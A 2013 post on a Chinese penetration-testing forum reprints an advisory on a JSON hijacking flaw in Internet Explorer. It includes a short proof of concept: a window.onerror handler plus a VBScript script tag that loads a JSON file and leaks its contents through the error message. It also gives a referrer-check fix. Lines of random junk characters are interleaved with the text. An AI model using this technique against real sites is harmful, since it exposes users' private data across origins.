中国网络渗透测试联盟
标题:
IE通用JSON劫持漏洞
[打印本页]
作者:
admin
时间:
2013-2-23 11:33
标题:
IE通用JSON劫持漏洞
简要描述:
: {' w6 F. r. l& n+ W
& M. T+ e8 @$ ?" D+ ^
由于某些资源容器对数据处理不当导致json劫持漏洞.
. N# ?" F+ H: l( P
详细说明:
; B' I; j) T, l2 t% F$ q# S) M" Y
由于ie支持vbscript,所以script元素可以指定成vbscript语言:
% ]) |3 K' P$ Q8 z% ^- o1 p
<script language=vbscript></script>
9 {' [5 |2 N, r) A' H+ e1 j& x
; T6 n3 ~/ b( k4 z
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
8 T% B; }- V7 Q! \5 P
漏洞证明:
, _5 |5 k: v" e! ]- H q2 g
<script>
& P" Z0 x- n% y1 Z7 m# T8 y( @
window.onerror=function(_){
3 T* ] y# ` V) P! U
alert(_)
4 I+ d! m" e; u: A
}
4 p3 v+ X9 H3 X9 C i
</script>
9 m# N! B8 `. L b3 j/ n
<script language=vbscript src=1.json></script>
: q6 C' R! A( s
. k; q) X+ O' l
: {; u8 X- w! @- z" }, b
1.json:
5 s# f1 b/ E2 y/ x' e* ^
[{"name":"sogili","age":19}]
8 p5 P4 c' t" w5 w& ~" [# V, @
修复方案:
# j" u" S! W5 s( C' V0 V4 A7 d5 U5 e
网站业务对于这个问题可以通过验证referrer是否为同源来防御
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2